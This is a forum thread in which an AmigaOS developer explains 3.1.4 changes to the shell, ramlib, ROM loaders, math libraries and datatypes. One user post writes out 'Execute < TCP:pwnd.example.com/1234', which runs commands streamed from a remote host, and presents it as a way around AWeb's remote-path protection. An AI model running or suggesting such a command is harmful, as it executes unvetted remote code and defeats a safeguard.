Os 3.1.4 - List of bug fixes and changes by component

[NinjaCyborg]

if the +s bit is set on those scripts then the execute is implicit, no?

[nbache]

unless using that chap's app where he lets you drag from anywhere in the window then it could be.

And if you do, you can also use it to get the window back.

This feature, BTW, is built-in in OS4 (hold Ctrl+Amiga and drag from anywhere in the window, except string gadgets with focus).

Best regards,

Niels

[nbache]

So these are (will/would be) equivalent then?

Code: [Select]

type s:user-startup | executeand

Code: [Select]

execute s:user-startup

That would surprise me. Execute takes a file name as argument, while type outputs a stream of text.

Best regards,

Niels

[kolla]

If you can't move the mouse off the screen, then there's no way you can ever move a window's title bar gadget completely off the screen, so it's not an issue

Exactly - and there are indeed limitations for window title bar, you cannot move it off-screen on the top of the screen, at all.

unless using that chap's app where he lets you drag from anywhere in the window then it could be.

I would very much like to see this feature implemented in Intuition.library too, just like how it is already there for screens.

On Windows you have windows that can be dragged and resized in many different ways like keyboard shortcuts and resizable borders.

Yes, and such things should also get in there

[kolla]

So these are (will/would be) equivalent then?

Code: [Select]

type s:user-startup | executeand

Code: [Select]

execute s:user-startup

That would surprise me.

Exactly, me too.

Execute takes a file name as argument, while type outputs a stream of text.

Right, which is why I would like to see a clarification, probably I have just misunderstood.

All-though, an OS command that can take a list of commands via a pipe from standard-in and run them, would be great too.
(http://aminet.net/package/util/shell/EArg can do it, and a bit more)

[guest11527]

That would surprise me. Execute takes a file name as argument, while type outputs a stream of text.

Then feel surprised. Several commands switch their command line arguments depending on their usage. Actually, this is not at all new and has already been this way in 3.1, even though probably only few people know. These commands are (currently) "sort", "search" and "more". There may be more in the future. "Execute" is a candidate, and "Type" is a candidate, too. Not as of 3.1.4, of course.

[guest11527]

So these are (will/would be) equivalent then?

Code: [Select]

type s:user-startup | execute
and

Code: [Select]

execute s:user-startup


Yes.

I find it a little non-intuitive though, I would have expected this to work

Code: [Select]

list s:myscripts/#?.script lformat "%p%n" | execute


As long as the S-bit is set for the scripts, yes, of course. It executes all the scripts the list command finds. If the s bit is not set, the scripts cannot be executed. Just remember: You are building a file (a pipe) that contains a script name on each line. This goes into the shell (execute really does not do much in this case, it just redirects the stdin of the shell). So the shell sees a file with one command per line. What does it do? Well, the usual thing. It tries to find the commands on the lines. If the S bit is set, there is an implicit execute, so it executes them. If the S bit is not set, it tries to locate the file elsewhere (namely in the path), and if it does not find it, it will error.

but from what I gather, it must be like this...

Code: [Select]

list s:myscripts/#?.script lformat "execute %p%n" | execute


That will also work, and unlike the above, does not require the S bits of all the skripts to be set.

[nbache]

Then feel surprised. Several commands switch their command line arguments depending on their usage.[/quote]Hehe ... yeah, I did actually consider something like that after having posted. And of course it is also known in *n*x.

Best regards,

Niels

[guest11527]

To the next components: workbench and icon.library. If you look on the ROM contents, you will find two components that are called like this. However, they are not really the libraries, but loaders. Hence, if someone opens one of the libraries, what the ROM really does is that it loads the corresponding component from disk. The A4000T already did something similar, though the corresponding component was called "wbfind".

So, two questions, maybe:
*) Why is this done in first place? After all, the "ramlib" Os component is already responsible for loading components from disk, so why a new component for that?
*) Why is it done differently than in the A4000T?

For the first: ramlib unfortunately only looks in the ROM, and in LIBS:, but this is probably not enough. We want also have the option that the user can re-insert the "Install" disk and get the workbench library from there, to have a bootable system in all cases.

For the second: The A4000T "wbfind" component worked differently. Instead, it installed a patch in OpenLibrary() such that OpenLibrary also looked in different paths, and then removed the patch as soon as the workbench was loaded. This sounds trivial enough, but causes a problem in case the startup-sequence installs by itself something into OpenLibrary(). Then, if wbfind removes its patch, it typically also removes any other patch that was installed in the startup-sequence, and that is something that causes certainly a surprise. A typical "victim" of wbfind on the A4000T is BetterOpenLibs. One reason more for avoiding patches whenever possible.

Probably some words on ramlib itself: There are also some (minor) changes. First of all, ramlib no longer uses SIGF_SINGLE for its own process communication. This is because some LibInit() functions of disk-based coponents use this bit itself. Second, the stack size of ramlib has been extended to give such libraries a bit more "headroom".

Finally, why all this in first place: First, because there is simply not enough ROM space. Once could, in principle, base this on the machine type which of the two libraries are in ROM and which which is RAM, but this complicates deployment a lot, and also reduces testability as - in any support case - one would need to ask which ROM type is deployed. So keep it simple and use the same configuration for all ROMs.

Second, and this is probably more important: It is easier to update the two components without touching the ROM. In fact, I would have preferred to remove other components from ROM, such as the audio.device, the mathffp.library and mathieeesingbas.library. None of them are required to bootstrap the system, and it would have made upgrading them easier as well.

Not this time, though. We probably do that later, as Olaf was afraid that some third party firmware may depend on them. We may get more experimental later. For workbench and icon, we had at least some experience that this does not do harm.

[kolla]

I am looking forward to this working...

Code: [Select]

Execute < TCP:pwnd.example.com/1234
It simplifies a lot of things, such as working around AWeb's protection against "remote paths" (it considers TCP: a local device)

[guest11527]

Math stuff. Yes, there are new math libraries (again). Two of the math libraries are unfortunately in ROM. mathieeesingbas and mathffp. For reasons beyond me, mathieeesingbas was even initialized during bootstrap, even if it was not needed. This had several bad side effects, such as having a non-FPU version of the library on the 68060 as the library became active before SetPatch, so the 68060.library had to clean up behind it. Another problem was that there were again multiple versions of the same library, i.e. with different build options depending on the target model. Now, there is one unified code per library, and not multiple.

As far as mathffp is concerned, the library run (on purpose) into a division by zero exception in case someone wanted to devide a floating point value by zero. This is, however, not like floating point should work. Instead, it should return INF or -INF. Now, mathffp does not have either, so instead HUGE_VAL or -HUGE_VAL is returned. Then again, mathffp is not very suitable for numerics in first place as it does not have denormalized numbers either. The whole documentation for mathffp was quite opaque, too, as it for example claimed that FFPSub() subtracts one argument from another (so far, so clear), but not which argument from which. For some strange reason, the arguments were documented the wrong way around compared to the IEEE version, causing even more confusion. So this was cleaned up - the documentation namely. The RAM counterpart (mathtrans) was only mildly extended to use a larger Cordic table for log and exp such that results are a bit more precise. Yet, the whole mathffp/trans library collection fails any serious test about numerical stability, so just avoid, avoid, avoid...

mathieeesingbas I already talked about. There is one additional trick the IEEE libraries learned. Similar to "jumpy, the magic timer device" we have now also "jumpy, the magic math libraries": That is, if at some point after initialization of the math libraries the FPU becomes available, the math libraries re-initializes themselves and switch to the FPU code. And vice versa. There is still support for the fpsp.resource which comes with the MuLib libraries, so that did not change.
mathieeesingtrans did not change, except that it was a major headache to compile it, given that the SAS/C compiler actually does not support single precision IEEE math. This is probably the topic of another episode as it required major magic and trickery.

mathieeedoubbas and singbas only changed in so far as they configure the FPU slightly different, namely "extended precision, round to zero". The results of the computation are still the same as the last operation in each call to the math code still implies a rounding to double or single precision, but the advantage of the different rounding mode is that a task can open both libraries simultaneously without a conflict, which was not possible before. You had either to use single or double precision, but could not mix (safely, without much additional trickery). "round to zero" is not a very sophisticated rounding mode, though it fits to the CPU implementation of the math libraries and is hence consistent. Probably not quite ideal, though.

mathieeedoubtrans I do not recall any change.

[Minuous]

So this was cleaned up - the documentation namely.

Does that mean there will be a 3.1.4 NDK released at some point? (Otherwise there doesn't seem much point in updating autodocs if no one will see the changes.)

[guest11527]

Does that mean there will be a 3.1.4 NDK released at some point? (Otherwise there doesn't seem much point in updating autodocs if no one will see the changes.)

Yes, indeed, this is the plan. There are not too many changes anyhow.

[guest11527]

Datatypes: There is a new datatypes library which inherits many vectors from the Os 4.0 datatypes, including a functionality to read the source from memory rather than a file. Actually, if you ask me, this is probably a bit overdesigned as existing features in the dos.library could do the same. But, well, why not...

The datatypes themselves are beyond Os 3.9 state, with many many issues addressed. The 8svx datatype now also plays stereo, and the sound.datatype does so as well. Actually, sound.datatype somehow made strange assumptions about the memory type ("if it is not fast, it must be chip") that were not entirely true. It only worked because the compiler did not optimize so well and the code contained plenty duplications. One issue, however: The SVX datatype (without "8") from Aminet does not like it, simply because it does not follow the right protocol when allocating memory for the sound.datatype, so just remove. 8svx will take over.

The picture.datatype can handle RTG graphics just fine, as did the 3.9 counterpart, but had issues fixed concerning the placement of the graphics. If the image height was less than the screen height, the graphics would be rendered incorrectly. There is one difference, though, namely the interpretation of ENV:classes/datatypes/picture/forcev43.  What used to be a simple "yes/no" choice is now a list of programs that should be promoted to the V43 (Os 3.5) interface which allows rendering of RTG graphics. The list contains the usual suspects by default ("MultiView" and "IPrefs"), but can be enlarged as needed. See the FAQ for details.

Animation had a lot of issues, and caused a lot of trouble. First, buffering was simply incorrect such that one could not "go back" in an animation without causing strange artefacts. Then, it was a CPU hog because the main loader engine used "busy waiting" - a really bad design in a multitasking operating system. It also had issues rendering screen formats not native to the system which are now automatically promoted. Thus, a HAM8 Anim will now render correctly on an RTG screen on an ECS machine, or will be even requantized on an ECS screen. Hence, many more anims play now fine.

The anim.datatype (which uses the animation.datatype) also had issues concerning the interpretation of the frame count, it could be off by two frames.

What we did not modernize, but only bugfix were the gradientslider and colorwheel gadgets. Sorry, this was just too much work. But at least, both gadgets now interoperate with reaction, which did not work so well with the previous (V40) versions, so at least something.

There is neither a new text.datatype, so there is unfortunately no "copy/paste" in text. This is because we do not have reaction, and the version that supports this requires reaction. Too bad. Some parts would need to be rewritten to work on GadTools, but there was no time doing so.

What was common to all datatypes was, however, incorrect locking in the library handling functions such as LibOpen or LibExpunge. All implementations had race conditions which could leave a task running in one of the functions while the library is flushed under its feed. This was also fixed all along.

[Oldsmobile_Mike]

Datatypes: There is a new datatypes library which inherits many vectors from the Os 4.0 datatypes, including a functionality to read the source from memory rather than a file. Actually, if you ask me, this is probably a bit overdesigned as existing features in the dos.library could do the same. But, well, why not...

Am hoping someone can post a good comparison with the WarpDT's at some point.  Not really sure how to "compare", however.  Display speeds?  Color accuracy?  Probably something obvious that I'm not thinking of, LOL. 

[utri007]

Chris Young's first versions of 68k Netsurf used datatypes, but he just couldn't get pages like amiga.org displayed correctly. Both speed, color and aligment problems.

Could you make a ques, would it be that those problems would be gone now? Netsurf uses now render and guigfx libraries.